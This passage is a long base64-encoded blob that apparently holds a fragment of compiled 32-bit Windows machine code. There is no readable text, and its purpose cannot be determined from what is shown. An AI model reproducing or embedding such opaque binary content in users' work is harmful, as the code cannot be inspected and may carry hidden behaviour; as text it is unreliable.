IMQEOht2vf/g8QMg038/zP/i3Xk6z7/FcjECxBQaLCDEBDrKYH+2QYAAHUMaDCEEBDoP9r3/+sbgf66BgAAdQdo2IIQEOvqVmighBAQ6CPa9/9ZWYX2dBVXV+hn9///WesKaBCFEBDoCdr3/1kzwItN8GSJDQAAAABfXlvJw4tEJBBTVVaLdCQUM9uJGIsO6P2F9/+L6IXtdF6L1ovN6MKG9/+FwHRDV4t8JByNdQilpaWLdCQc/3YE6KIR+P+JRghfhcB0F/92BP91EFDoXkcBAItEJCiDxAyJKOsgiV4EiV4Iu6AAAMDrBbvzAgDAi83oS4X3/+sFu/MCAMBeXYvDW8NWi3QkCIsOhcl0COguhff/gyYAM8Bew1FTi1wkHFWLbCQcVldqV4NlAACDIwBeaIA6EhD/FQjDCxCLfCQYhf8PhAkBAACLVCQghdIPhPgAAACDfCQcAA+E7QAAAItPFI1EJBBQjUQkLFD/dCQk6CSH9/+DxAyFwA+ExQAAAP90JChojIUQEOjn2Pf/gyUUNBIQAFlZaP7/AQBqQMcFGDQSEP//AAD/FdTECxCjEDQSEIXAD4SbAAAAi0wkKOjOAP7/iw0UNBIQi/CLFRA0EhCNRCQkUI1EJCyNDE0CAAAAUFGLTxToG4b3/4s9uMQLEIPEDIXAdC//dCQk6F4Q+P+JA4XAdBr/dCQk/3QkLFDoGkYBAItEJDCDxAyJRQAz9v90JCj/1/81EDQSEP/XgyUUNBIQAIMlGDQSEACjEDQSEOsRvnEXAADrCmoWXusFvvEGAABogDoSEP8VBMMLEIH+CgEAwHQIgf5LAADAdQ5qAIk1nDoSEP8VzMULEF+Lxl5dW1nDU1VWaldevYA6EhBV/xUIwwsQ/3QkFGiMhRAQ6M7X9/9ZWWj+/wEAM9vHBRg0EhD//wAAakCJHRQ0EhD/FdTECxCjEDQSEIXAdG2LTCQU6Lj//f+LDRQ0EhCL8I0MTQIAAABR6HEP+P+LTCQciQGFwHQoizUUNBIQjQx1AgAAAFH/NRA0EhBQ6B1FAQCLRCQkjU4Bg8QMi/OJCP81EDQSEP8VuMQLEKMQNBIQiR0UNBIQiR0YNBIQVf8VBMMLEIH+CgEAwHQIgf5LAADAdQ1TiTWcOhIQ/xXMxQsQi8ZeXVvDi0wkBIXJdAXozIL3/8IEAIMldDoSEAAzwIMlcDoSEADDgz10OhIQAHQHaiDoUgIAADPAw4N8JAQAVleL+XQ/i3QkEP82UmgshxAQ6L3W9/+DxAyDfCQMAXUv/zb/11mFwHQHaLxWDhDrGf8VyMQLEFBoWIcQEOiS1vf/WesKaMCHEBDohdb3/1lfM8Bew1H/dCQMujCIEBC5/PAAEP90JAzojv///4PEDMNR/3QkDLpEiBAQuUfxABD/dCQM6HL///+DxAzDUf90JAy6WIgQELnr8QAQ/3QkDOhW////g8QMw1H/dCQMumyIEBC5/fEAEP90JAzoOv///4PEDMNR/3QkDLqEiBAQuQ/yABD/dCQM6B7///+DxAzDUf90JAy6mIgQELkh8gAQ/3QkDOgC////g8QMw1H/dCQMurCIEBC5NfIAEP90JAzo5v7//4PEDMNVi+xR6EMSAgCNVfyLCOh/tvf/hcAPhKgAAACLTfxWV+jbtvf/hcB0ev91/Is9gMQLEP/XaNTLDBCL8P/XjXgEA/6NBD9QakD/FdTECxCL8IX2dGJoxIgQEFdW6Ex9AQD/dfxXVuhCfQEAaMiIEBBXVug2fQEAaNTLDBBXVugqfQEAg8QoutCIEBC5EIkQEGoQVuiTK/j/g8QQVv8VuMQLEOsT/xXIxAsQUGgoiRAQ6AfV9/9ZWf91/P8VuMQLEF9e6xP/FcjECxBQaLCJEBDo59T3/1lZM8DJw7kQiRAQ6JUs+P8zwMNVi+yD7BAzwMdF8BCJEBBQUGoBUMdF9K/ICBCJRfiJRfz/FfjCCxCjcDoSEIXAdBaNRfBQ/xVMwQsQ/zVwOhIQ/xXAxAsQM8DJw4tEJASD6AF0EIPoAXRKg+gBdDlIg+gBdTDHBUQGEhADAAAAaEAGEhD/NXQ6EhD/FVTBCxCDPUQGEhADdQz/NXA6EhD/FfTCCxDCBADHBUQGEhAEAAAA68vHBUQGEhAHAAAA679oS8gIEGgQiRAQ/xVQwQsQo3Q6EhCFwHRfU1aLNVTBCxC7QAYSEFdTUMcFRAYSEAIAAAD/1lP/NXQ6EhAz/8cFRAYSEAQAAABHiT1IBhIQ/9Zq//81cDoSEP8V8MMLEFP/NXQ6EhCJPUQGEhD/1oMldDoSEABfXlvCCABVi+yD7BCLVQyNRfSLTQhWM/ZWUGgMeg0QiXX06JQw+P+LVQyNRfiLTQhWUGhEgA4Q6H8w+P+DxBiFwA+EvAAAAI1F/FD/dfj/FezACxCFwA+EkAAAAP91+Gj4ihAQ6EjT9/9ZWf91/P8V9MALEIs1uMQLEIXAdFn/dfSLTfyNRfBQjUX0UI1V+OhhO/j/g8QMhcB0KP91+ItN8P919Og2O/j/UGgQixAQ6P3S9/+DxBD/dfj/1v919P/W6x//FcjECxBQaFiLEBDo3dL3/1nrCmjoixAQ6NDS9/9Z/3X8/9bptwAAAP8VyMQLEFBoOIwQEOi00vf/WemfAAAAi1UMjUX4i00IVlBotNUOEOijL/j/g8QMhcB0ef91+GisjBAQ6IXS9///dfSLTfiNRfBQjUX0UI1V/OheO/j/g8QUhcB0Pv919ItN8OiLOvj/UGjEjBAQ6FLS9/+LTfzogC74/2hYKAwQ6EDS9/+LNbjECxCDxBD/dfz/1v919Ole/////xXIxAsQUGgIjRAQ6WD///9omI0QEOgP0vf/WTPAXsnDVYvsg+wMi1UMM8CLTQhQiUX8iUX4jUX4UGgMeg0Q6PAu+P+LVQyNRfyDxAxQjUX0UP91+FGLTQjoMAIAAIPEEIXAdBqDffwAdAr/dfz/FZTHCxBZ/3X0/xWIxwsQWTPAycNVi+yD5PiD7CBTVVZXi+mDZCQUAFJViWwkNP8VUMcLEIvYiVwkKOnOAQAAU1X/FWDHCxBQaAg9EBDoadH3/41EJCRQU1X/FUzHCxCDxBzpewEAAFZoFD0QEOhJ0ff/VlNV/xWYxwsQi/iDxBSF/w+EQwEAAGi01Q4QVuhAdwEAWVmFwA+EEgEAAGjQPRAQVugrdwEAWVmFwA+E/QAAAGjMPhAQVugWdwEAWVmFwHUMiw+LSQToJC34/+sbaCA5EBBW6Pl2AQBZWYXAdRqLD4tJBOjXLPj/aFgoDBDox9D3/1npyQAAAINkJCQAgz8AdOaLXCQki+9TaACOEBDoptD3/2gUjhAQVuizdgEAi00Ag8QQhcB1XYtJBOi/LPj/i00AjUQkKGoAUI1EJCSLSQSNVCQgUOiyOPj/g8QMhcB0QP90JBiLTCQs/3QkIOiEOPj/UGgsjhAQ6EvQ9/+LLbjECxCDxBD/dCQY/9X/dCQc/9XrDYsRi0kEagHo5ir4/1lDjSyfg30AAA+FaP///4tcJCCLbCQs6Tv///+LB/9wBP8waCQ9EBDo+8/3/4PEDFf/FZDHCxBZVv8VWMcLEFn/dCQUU1X/FXjHCxCDxAyL8IX2D4V7/v//OUQkFHQNUP90JBj/FWzHCxBZWVNV/xVUxwsQi9iJRCQoWVmF2w+FKP7//19eXVuL5V3Dg+wcUzPbx0QkCLTVDhAhXCQcVcdEJBDQPRAQx0QkFMw+EBDHRCQYFI4QEMdEJBwgORAQ6McAAACL6IXtD4S1AAAAi0wkLI1EJAhWi3QkNDPSU1BW6L3A9/+DxAyFwA+EiwAAAFeLfCQ8jUQkFFdTUCEfVWoC/3QkJP82/xWAxwsQg8QchcAPlMOFwHUi/zf/Nv8VjMcLEFlZg+gAdSBVaFCOEBAz2+jxzvf/WVnrD1BQaNCOEBDo4c73/4PEDIXbdAuLF4sO6Cr9///rF4M/AHQJ/zf/FZTHCxBZ/zb/FYjHCxBZ/3QkEP8VuMQLEF9V/xW4xAsQXl2Lw1uDxBzDg+wMjQQkU1VWVzPti/JVUGi4eg8Qi/mL3eiJK/j/g8QMhcB0W4tMJBCNUQJmiwGDwQJmO8V19SvK0fmNcRKNBDZQakD/FdTECxCL2IXbD4QXAQAA/3QkEGhAjxAQVlPoJH73/41O/4PEEDvBD4T5AAAAU/8VuMQLEIvY6esAAABVjUQkFIvWUGhEgA4Qi8/oEyv4/4PEDIXAD4TBAAAAjUQkFFD/dCQU/xXswAsQhcAPhJYAAAD/dCQU/xX0wAsQhcB0cf90JBT/FUzACxCJRCQQa8ADiUQkGI0MRRoAAABRakD/FdTECxCL2IXbdFFqBlm+aI8QEIv786WLfCQQhf90JI1zFotEJBQPtgQoUGiAjxAQagRW6Gx99/+DxBCDxgZFO+9y34tEJBhqKVlmiUxDFusLaJCPEBDoXs33/1n/dCQU/xW4xAsQ6x//FcjECxBQaPCPEBDoQM33/1nrCmh4kBAQ6DPN9/9ZX15di8Nbg8QMw2iElRAQ6B7N9/+DfCQIALgKAQDAWblLAADAD0XBw1WL7IPsIFZq9f8V7MILEIvwM8CJRfyNReBQVv8V8MILEA+/TeKNRfhQD79F4P91/A+vyFFqIFb/FeDCCxD/dfxW/xXYwgsQM8BeycNokJUQEOi0zPf/WTPAw2iglRAQ6KbM9/9ZM8DDg3wkBABWdBaLRCQMagBqAP8w6NWOAQCDxAyL8OsFvugDAABWaCCWEBDodMz3/1lZVv8VzMQLEGhElhAQ6GHM9/9ZM8Bew4tMJARWV4t8JBAz9lZWaDhJEBCL1+hMKfj/g8QMhcB1Dzl0JAx0BIs36wW+VJYQEIvO6CXN9/+FwLoUXw4QuQxfDhAPRMpRVmhwlhAQ6ArM9/+DxAwzwF9ew1WL7ItVDItNCFO7ADQSEFNoRH0OEOgiKvj/WVmFwHUTi1UMi00IU2j46A8Q6Asq+P9ZWYtVDLv8MxIQi00IU2hsfg4Q6PMp+P9ZWYXAdROLVQyLTQhTaDTpDxDo3Cn4/1lZgz38MxIQALmk3w0Qi8G6vN8NEA9EwoM9ADQSEABQD0TKUWiwlhAQ6HTL9/+DxAwzwFtdw4HsJAIAAI1EJAxTVVZXUP8VQMQLEFD/FdTCCxAz9oXAdDc5dCQcuciXEBBWaFXhfwu4wJcQEA9EwVD/New6EhD/NQA7EhD/Neg6EhBo0JcQEOgWy/f/g8Qci5QkPAIAAIuMJDgCAABWVmhomBAQ6AMo+P+LHcjECxCDxAyLLbjECxCFwA+E1QAAAGhYKAwQ6NjK9/9Zi/5W/7egzQwQ/xUoxwsQiUQkEIXAD4SjAAAA/7egzQwQaHSYEBDorMr3/1lZ/3QkEGpA/xXUxAsQiUQkFIXAdH1Q/3QkFFb/t6DNDBD/FSTHCxCFwHRSjUQkKFCNRCQkUGjsew0Q/3QkIP8VIMcLEIXAdCuLTCQggTm9BO/+dR+LQQyLSQhQwegQUFHB6RBRaICYEBDoPcr3/4PEFOsZ/9NQaKiYEBDrCP/TUGgYmRAQ6CHK9/9ZWf90JBT/1YPHBIP/RA+COP///4uUJDwCAACLjCQ4AgAAVlZomJkQEOj9Jvj/g8QMhcAPhFIBAABoWCgMEOjeyff/WVZW/xXowgsQi/iF/w+EJgEAAI0MP1FqQP8V1MQLEIvYhdsPhB8BAABXU/8V6MILEI1P/zvBD4XlAAAA/zXsOhIQjUQkHGigmRAQUOgsLfj/g8QMhcAPhNgAAACLTCQY6BIj+P+L+Il8JCSF/w+EpgAAAFdo1JkQEOhgyff/WVmLz+gbTff/iUQkEIXAD4SDAAAAi/j/tqDNDBCNRCQwU1D/FXjGCxCFwHRDjUwkLOhvqvf/hcB0SY1MJCzotiL4/4lEJBSFwHQ4/7agzQwQaOiZEBDoBcn3/4tUJBxZi8/orU33/1n/dCQU/9XrE/8VyMQLEFBo+JkQEOjfyPf/WVmDxgSD/kRyjItMJBDo6k33/4t8JCRX/9X/dCQY/9XrE/8VyMQLEFBoaJoQEOisyPf/WVlT/9XrD//TUGjwmhAQ6JjI9/9ZWV9eXTPAW4HEJAIAAMNRVVaNTCQI6A2p9/+LNcjECxC9iJsQEIXAdC6DfCQQAHQLaHibEBDoXcj3/1n/dCQIaEzTDhDoTsj3/1lZ/3QkCP8VuMQLEOsL/9ZQVeg3yPf/WVmDfCQQAHROi0QkFP8w/xXcwgsQhcB0L41MJAjopaj3/4XAdBz/dCQIaBScEBDoA8j3/1lZ/3QkCP8VuMQLEOsV/9ZQVesI/9ZQaCicEBDo4sf3/1lZXjPAXVnDVYvsgey0AAAAjUX4VldQ/xXQwwsQjYVM////UP8V5MILEGicnBAQi/DorMf3/41N+OiII/j/v1goDBBX6JnH9/9ZWYP+/3QghfZ0HIP+AY1NpI2FUP///w9FwVBorJwQEOh0x/f/WVloyJwQEOhox/f/jU346Lwi+P9X6FrH9/9ZWV8zwF7Jw1WL7FEzyY1V/EHoT7v3/4XAdBj/dfxoDN8NEOgyx/f/WVn/dfz/FbjECxCNVfwzyegpu/f/hcB0GP91/Gjgew0Q6AzH9/9ZWf91/P8VuMQLEGhYKAwQ6PfG9/9ZM8DJw1WL7FGDZfwAjUX8VlBqAGoC/xWgyAsQPSMAAMAPhbUAAACDffwAD4SrAAAA/3X8akD/FdTECxCL8IX2D4SjAAAAjUX8UFZqAv8VoMgLEIXAeG+NRiBQaHidEBDoksb3/41OEOiVBAAA/3YMaER5DxDofcb3/4tODOhTBAAA/3YIaLidEBDoaMb3/4tWCIPEGIXSdBKLRgSFwHQLagGNDDDoCyH4/1loZGQNEOhCxvf/iwZZhcB0BgPwdZfrETP26w1QaPidEBDoJsb3/1lZVv8VuMQLEOsNUGiYnhAQ6BDG9/9ZWTPAXsnDVYvsg+wwi1UMjUX0i00Ig2X8AFNWaFh4DxBQaLTVDhDo7iL4/4tVDI1F8ItNCGiIeA8QUGgEtA0Q6NUi+P+LNazICxCNReiDxBj/dfRQ/9b/dfCNReBQ/9aNRdBQjUXgUP8VvMgLEIXAD4jrAAAAjUXoUGgEeQ8Q6IzF9/+NTdDojwMAALtYKAwQU+h5xff/g8QMjUX4UI1F/FBqAI1F0FCNRehQ/xWcyAsQPSMAAMAPhYkAAACDffwAD4SSAAAA/3X8akD/FdTECxCL8IX2D4SSAAAAjUX4UI1F/FBWjUXQUI1F6FD/FZzICxCFwHg5/3X4aDifEBDoDMX3/4tN+OjiAgAA/3X8aLidEBDo98T3/4tV/IvOagHoqR/4/1Po5cT3/4PEGOsNUGhgnxAQ6NXE9/9ZWVb/FbjECxDrKD0AAQDAdQxo+J8QEOi5xPf/6xRQaICgEBDrBlBoGKEQEOikxPf/WVleM8BbycNVi+yD7DCLVQyNRfhWi3UIi85oNAINEFBotNUOEOiEIfj/i1UMjUX8aIihEBBQaAS0DRCLzuhsIfj/i1UMjUX0aLDfDRBQaNh4DxCLzuhUIfj/i1UMjUXwaNihEBBQaNB+DhCLzug8Ifj/izWsyAsQjUXog8Qw/3X4UP/W/3X8jUXgUP/WagBqAP919OhVhgEAg8QMi/CNRdBQjUXgUP8VvMgLEIXAD4isAAAAjUXoUGgEeQ8Q6OLD9/+NTdDo5QEAAFZoRHkPEOjPw/f/i87opgEAAGjcXw0Q6L7D9/+LTfCNRfxQjVX46Awe+P+DxBiFwHRx/3X8aHB5DxDom8P3/4tV/ItN+GoB6Ewe+P9oZGQNEOiEw/f/g8QQjUXQVv91/P91+FCNRehQ/xWYyAsQhcB4DGiseQ8Q6F7D9//rDFBogKIQEOhRw/f/WVn/dfj/FbjECxDrDVBoEKMQEOg5w/f/WVkzwF7Jw1WL7IPsLItVDI1F/ItNCFZXaDQCDRBQaLTVDhDoGyD4/4tVDI1F+ItNCGiIoRAQUGgEtA0Q6AIg+P+LVQyNRfSLTQhosN8NEFBo2HgPEOjpH/j/izWsyAsQjUXsg8Qk/3X8UP/W/3X4jUXkUP/WM/9XV/919OgChQEAg8QMi/CNRdRQjUXkUP8VvMgLEIXAeGyNRexQaAR5DxDok8L3/41N1OiWAAAAVmhEeQ8Q6IDC9/+LzuhXAAAAaNxfDRDob8L3/4PEFI1F1FZXV1CNRexQ/xWYyAsQhcB4DGiseQ8Q6E3C9//rIj0AAQDAdQdogKMQEOvrUGgIpBAQ6wZQaJikEBDoKsL3/1lZXzPAXsnDVleL+TP2M8CLzkDT4IXHdBP/NLUgzgwQaIwgDxDoAML3/1lZRoP+B3LcX17DU1ZXM9KL2b9cBhIQM/YzyYsEizsEj3UlQYP5BHXya8IU/7BsBhIQaKimEBDoxMH3/1lZX16Ly1vpvh34/4PGFEKDxxSD/jxyxevoVYvsUVZo4KcQEOibwff/WY1F/FBqCP8VQMQLEFD/FeDACxCLNcjECxCFwHQWi1UIi0386PwEAAD/dfz/FcDECxDrD//WUGgIqBAQ6FrB9/9ZWWh4qBAQ6E7B9/9ZjUX8UGoBagj/FdDCCxBQ/xVYwQsQhcB0FotVCItN/OizBAAA/3X8/xXAxAsQ6yT/1j3wAwAAdQxooKgQEOgLwff/6w7/1lBouKgQEOj8wPf/WVkzwF7Jw4tUJAiLTCQEagBqAOgxAAAAWVkzwMOLVCQIi0wkBGoAagHoGwAAAFlZM8DDi1QkCItMJARqAWoA6AUAAABZWTPAw4PsIItEJChTVYtsJCyL2TPJiWwkGIlMJAyJTCQQiUwkFIlEJByJTCQgiUwkJIlMJCxWi/FXi/qFwHQbaCSpEBCNRCQsi8tQaJxuDxDobB34/4PEDDPJUY1EJByL11BoCAMPEIvL6FMd+P9qAI1EJCCL11BoqAMPEIvL6D4d+P+DxBhqAGoAhcB0Ff90JBjoaoIBAIPEDIlEJBzp/gAAAGg8qRAQi9eLy+gQHfj/g8QMhcB0BGop6xtqAGoAaFSpEBCL14vL6PMc+P+DxAyFwHQrajBejUwkNOifsvf/hcAPhbgAAAD/FcjECxBQaECqEBDovb/3/1npoAAAAGoAagBo/AIPEIvXi8vorxz4/4PEDIXAdAhqGl7pgAAAAGoAagBodKkQEIvXi8vojhz4/4PEDIXAdARqF+sbagBqAGiQqRAQi9eLy+hxHPj/g8QMhcB0DWoYXsdEJCwBAAAA6z2F7XQGOXQkGHQZagBqAGgMeg0Qi9eLy+hBHPj/g8QMhcB0GoN8JBgAahZedBBosKkQEOgcv/f/g2QkHABZi1wkOIXtdBmF23QVg3wkHAB1DoX2dQo5dCQYD4QQAQAAg3wkGAC4WPAMEA9FRCQYUP90JCBo+KoQEOjXvvf/iz24xAsQg8QMhfYPhIIAAACLRCQ0hcB0BYtQKOsCM9KNRCQUi85Q6MGx9/9ZhcB0VItMJBSNRCQQagBqAFCNVCRE6NQm+P+DxAyFwHQj/3QkOP90JBRoUKsQEOh3vvf/g8QM/3QkOP/X/3QkEP/X6y3/FcjECxBQaGCrEBDoVb73/1nrGP8VyMQLEFBoCKwQEOvqaFgoDBDoOr73/1loWCgMEOgvvvf/WYXtdBmF23QVg3wkHAB1DoN8JBQAdQeDfCQYAHQbjVQkFLlg4wgQ6J0n+P+DfCQUAHQG/3QkFP/Xg3wkNAB0Cv90JDT/FfDACxBfXl0zwFuDxCDDVjP2Vlb/FQDBCxCFwHQJVlboG/z//+sR/xXIxAsQUGjArBAQ6LK99/9ZWTPAXsOD7BBWV4v6M/aF/w+EHwEAAA+20VWLbCQgiVQkGItM9QSLwSUAAAAgx0QkFFUAAAD32BvAg+Ayg8AgUIvBJQAAAMD32BvAg+Asg8Ag9sEQUGogWA9FRCQc9sEIUGogWMdEJCBPAAAAD0VEJCD2wQRQaiBYx0QkJEUAAAAPRUQkJPbBAlBqIFjHRCQoRAAAAA9FRCQo9sEBUGogWGpNWQ9FwVBSaCytEBDo/7z3/4tM9QCNRCQwagBqAFCNVCRA6C0l+P+DxDCFwHRE/3QkDP8VgMQLEIXAdBD/dCQMaFytEBDoxrz3/1lZ/3QkEGhM0w4Q6La89/9ZWf90JBD/FbjECxD/dCQM/xW4xAsQ6xSLTPUA6MsY+P9oWCgMEOiLvPf/WYtUJBhGO/cPgu7+//9dX16DxBDDg+xUjQQkU4sdzMALEFVWV1BqOI1EJDCL+VBqCleL8v/ThcAPhNACAAD/dCQw/3QkOGjMrRAQ6Du89/+DxAyNRCQQUGoEjUQkHFBqDFf/073krRAQhcB0Ef90JBRoTAQPEOgQvPf/WesGVegHvPf/WY1EJBBQagSNRCQgUGoSV//TakRahcB0L4N8JBgDaj9YakxZD0TBg3wkGAJqRlkPRMGDfCQYAQ9EwlBo7K0QEOjCu/f/WesGVei5u/f/Wf90JCho9K0QEOiqu/f/WY1EJCiLz1CNRCQoUI1UJCjociL4/4stuMQLEIPEDIXAdCv/dCQk/3QkIP90JChoBK4QEOhxu/f/g8QQ/3QkHP/V/3QkIP/V/3QkJP/Vi0QkQP80hWzODBD/dCRY/3QkWGgYrhAQ6D+79/+DxBCDfCRAAnUXi0QkRP80hXjODBBo4HsNEOggu/f/WVloWCgMEOgUu/f/WYX2D4SOAQAAjUQkEFBqAGoAag1X/9OFwA+FeAEAAP8VyMQLEIP4eg+FaQEAAP90JBBqQP8V1MQLEIvwhfYPhFMBAACNRCQQUP90JBRWag1X/9OFwA+EOQEAAItGCLFHixaDwAhQSuj8/P///3YUi1YMalJYisjo7Pz//zPAWYlEJBhZOUYYD4YHAQAAix3IxAsQa8gMi0Ygi0wBCIvBwfgfg+Ahg8Ag9sEEUGogWGpSWg9FwvbBAlBqIFhqRVoPRcL2wQFQaiBYakRZD0XBUGg8rhAQ6Dq69/+DZCQkAI1EJCSDxBRQa0QkGAxqAANGIFBqAP8VXMELEIXAdU7/04P4enVHi0QkEI0ERQIAAABQakD/FdTECxCL+IX/dGNrTCQUDI1EJBBQVwNOIFFqAP8VXMELEIXAdA1XaEzTDhDoz7n3/1lZV//V6zb/0z0hBQAAdR5rTCQUDItGIP80Af90AQRoZK4QEOimuff/g8QM6w//01BogK4QEOiUuff/WVmLRCQUQIlEJBQ7RhgPgv/+//9W/9VfXl1bg8RUw1WL7IPk+IPsTFNWM9tDV4lcJAz/FTjDCxA5RQwPhKMBAACNRCQcUGo4jUQkKFBqCv91CP8VzMALEIXAD4SEAQAAi30QM/Y5dwQPhIEAAABRi00IjUQkHFZQjVQkIOjxH/j/g8QMhcB0K/93BP90JBjoGF8BAIs1uMQLEPfYWVn/dCQUG8BAiUQkEP/W/3QkGP/WM/aDfCQMAA+EKgEAAP91DGgErxAQ6Mm49/9ZWYtNCDPS6Ef8//85dwx0cDlcJDiLRCQ8agJZagNaD0TC62qLTwiFyXQPM8A7TCQgD5TAiUQkDOuuixeF0nSoi00IiXQkDDl3GHQl6Ggk+P+L8IX2dI//N/82/xVgwQsQVolEJBD/FbjECxDpdf///41EJAxQ6Lgf+P9Z6Wf///85dxAPhI8AAACLy4vGOXcQjVQkEFJRUFZqDFi5jwEAAA9FwVD/dQj/FdjACxCFwHRnOXcMdD7/dCQQVv8VAMELEIXAdBpoDK8QEOj5t/f/WVZW6Ef2//9ZWYl0JAzrL/8VyMQLEFBoOK8QEOjYt/f/WVnrGjl3EHQVi1QkEItPFOiPuP//99gbwECJRCQM/3QkEP8VwMQLEItcJAxfXovDW4vlXcIMAFFoqJcQEGjIsRAQagRauaAGEhDogrr3/4PEDDPAw1WL7IPk+IHsZAUAAFNWV41EJCgz/1CJfCQY/xU4wwsQUP8VzMILEItVDIv3i00IiUQkGI1EJBRXUGhUsQ0Q6EoU+P+LXCQgg8QMhcB0MVNojLIQEIl8JCDoJrf3/1lZU/8VRMcLEIvwhfZ1J/8VyMQLEFBouLIQEOgGt/f/WVmF23QQaIC1EBDo9rb3/1npyQIAAI1EJCRQjUQkFFBW/xVAxwsQhMAPhJICAACLRCQkhcAPhG8CAACL34tEJBCLVANIg/oKcw2LDJXgzgwQiUwkFOsIx0QkFCT3DBCDfCQYAHQTiwwDOUwkKHUKx0QkHPB7DRDrC4sMA8dEJBxY8AwQUv90JBiDwAQDw1BR/3QkLGgwsxAQ6Gi29/+DxBiNRCQgUGjABAAAjYQkuAAAAFCLRCQcagj/NANW/xUwxwsQhMAPhBcBAACNhCQUBQAAUI2EJDwFAABQaHyzEBDoIbb3/4uEJAwBAACDxAwLhCQEAQAAdCJooLMQEOgEtvf/WY2MJAABAADo2xH4/2hYKAwQ6O219/9Zi4QkCAEAAAuEJAwBAAB0Imi0sxAQ6NK19/9ZjYwkCAEAAOipEfj/aFgoDBDou7X3/1mLhCQYAQAAC4QkHAEAAHQiaMizEBDooLX3/1mNjCQYAQAA6HcR+P9oWCgMEOiJtff/WYuEJBABAAALhCQUAQAAdCJo3LMQEOhutff/WY2MJBABAADoRRH4/2hYKAwQ6Fe19/9Zi4QkaAUAAAuEJGwFAAB0ImjwsxAQ6Dy19/9ZjYwkaAUAAOgTEfj/aFgoDBDoJbX3/1mNRCQgUGoEjUQkNFCLRCQcahz/NANW/xUwxwsQhMB0H4N8JCwAuRCUDRC4CJQNEA9EwVBoBLQQEOjntPf/WVmNRCQgUGogjUQkOFCLRCQcah3/NANW/xUwxwsQhMB0VWaDfCQwAnUgjUQkUFCNRCQ8UP8VpMgLEIXAdDmNRCRQUGggtBAQ6yZmg3wkMBd1JY1EJFBQjUQkQFD/FajICxCFwHQRjUQkUFBoPLQQEOhytPf/WVmLRCQkR4PDTDv4D4KX/f//hcB1C2hYtBAQ6FK09/9Z/3QkEP8VOMcLEOsT/xXIxAsQUGgItRAQ6DS09/9ZWYX2dAdW/xU0xwsQX14zwFuL5V3DVYvsUYtVDI1F/ItNCFNWVzPbU1BoqAMPEOgKEfj/g8QMhcAPhMsAAABTU/91/Og1dgEAi1UMi/iLTQiNRfxTUGhksQ0Q6N4Q+P+DxBiFwHQRU1P/dfzoDXYBAIPEDIvw6wODzv+LVQyNRfyLTQhoWPAMEFBoyIMOEOiqEPj/V2jctRAQ6JWz9/+DxBSD/v91DGgYthAQ6IOz9//rDFZoOLYQEOh2s/f/WVloQLYQEOhqs/f/WVP/dfxWV1P/FTzHCxCEwHQOV2hMthAQ6E2z9/9Z6yqLNcjECxD/1j0uBQAAdQdocLYQEOsP/9ZQaDC3EBDr2GigtxAQ6CCz9/9ZX14zwFvJw1WL7IPsKI1V2LnIsRAQ6NAG+P+FwHRtg33cBHJb/3X0agBoOgQAAP8VOMQLEIXAdDmNTfyL0FEzyUHodaf3/1mFwHRTaAC4EBDoyrL3//91/ItN/LpY6ggQ6Hy/9/9ZWYtN/Ojbp/f/6y3/FcjECxBQaGC4EBDrGGjQuBAQ6Jay9//rEv8VyMQLEFBoSLkQEOiDsvf/WVkzwMnDVYvsg+T4g+wUU1aLdQgzwIlEJBRXx0QkHAQ0EhCBfhgAAAIAiwaJRCQQi0UMiUQkFA+F0wMAAIF+EAAAAQAPhMYDAACDfhQED4W8AwAA/3YMakD/FdTECxCJRCQYhcAPhKUDAAD/dgyNVCQUjUwkHOh2p/f/WYXAD4SCAwAAi04Mi3QkGAPOiUwkDI1GCDvBD4dqAwAAagKBxhICAAC7AAIAAFq5CM8MEI2+7v3//4sBOwd1Cg+3QQRmO0cEdBW5GM8MEIsBOwd1HA+3QQRmO0cEdRKLhvL9//8lAAAB/y0AAAEA6yi5EM8MEIsBOwcPhfYAAAAPt0EEZjtHBA+F6AAAAIuG8v3//yUAAP//99gbwECFwA+E0AAAADP/Ob78/f//D4XEAgAAD7eO9v3///bBAQ+FtAIAAGY7yw+DqwIAAA+3hvj9//+oAQ+FnAIAAGY7wg+GkwIAAGY7ww+DigIAAA+3lvr9///2wgEPhXcCAABmO9MPg24CAADR6FZQjYYA/v//UIvB0ehQaOC5EBDo57D3/4PEFGY5vvr9//90JoE97DoSEEgmAAByGlGLTCQYjYYAAgAAU1DoYmn3/4XAD4QiAgAAjYYAAgAAUA+3hvr9///R6FBoPLoQEOiasPf/g8QM6f8BAAC5IM8MEIsBOwcPhfMBAACLQQQ7RwQPhecBAACLhv79//+FwA+E2QEAAKgBD4XRAQAAPQAQAAAPg8YBAAAPt4b6/f//ZoXAD4S2AQAAqAEPha4BAABmO8MPg6UBAAAPt478/f//ZjvBdAoryjvBD4WPAQAAi4YG/v//hcAPhIEBAACoAQ+FeQEAAD0AEAAAD4NuAQAAjZ4C/v//D7cDZoXAD4SFAQAAqAEPhX0BAAC5AAIAAGY7wQ+DdgEAAA+3jgT+//9mO8F0CivKO8EPhVkBAABobLoQEOi2r/f/K3wkHAN8JBSLlvb9//9ZhdJ0c/bCAXVugfoAEAAAc2aNnvL9//8PtwNmhcB0UqgBdU65AAIAAGY7wXNED7eO9P3//2Y7wXQHg+kCO8F1MY0EOovLiYb2/f//i1QkFOh6xPf/hcB0GVNooLoQEOhEr/f/WVn/tvb9////FbjECxCNngL+//8Bvv79//+Njvr9//+LVCQU6ELE9/+FwHQfjYb6/f//UGjMuhAQ6Aav9/9ZWf+2/v3///8VuMQLEAG+Bv7//4vLi1QkFOgOxPf/hcB0Sw+3A1GLTCQYUP+2Bv7//+h0Z/f/hcB0IP+2Bv7///8VgMQLEP+2Bv7//2j4uhAQ6K+u9/9ZWesHi8vo8s0AAP+2Bv7///8VuMQLELsAAgAAagJag8YEjY72/f//O0wkDA+GpPz///90JBj/FbjECxBfM8BeQFuL5V3CCAC7AAIAAOvQi9nrzFWL7FFRi1UMi00IagBqAGgkuxAQ6E0L+P9oALgQEIlF/Og2rvf/g8QQjVX4ubPuCBDoDLb3/zPAycNVi+yD5PiD7BxTi10IVleLQ0RQagBoOgQAAIlEJBz/FTjECxCL+IX/dGKLdQwzyVaL10HohqL3/1mFwHRIiw6NRCQUULo0uxAQ6Dm69/9ZhcB0K/90JBiNQzj/dCQYUP90JBxoTLsQEOi1rff/iw6DxBS6S+8IEFboZ7r3/1mLDujIovf/V/8VwMQLEF8zwF5AW4vlXcIIAFWL7IPk+IPsFINkJAQAU4tdDFaLdQhXx0QkFAQ0EhCBfhgAAAIAiwaJRCQYiwOJRCQcD4XdAAAAgX4QAAABAA+E0AAAAIN+FAQPhcYAAAD/dgxqQP8V1MQLEIlEJBCFwA+ErwAAAP92DI1UJByNTCQU6IKi9/9Zi0wkEIXAD4SLAAAAi34MjUEI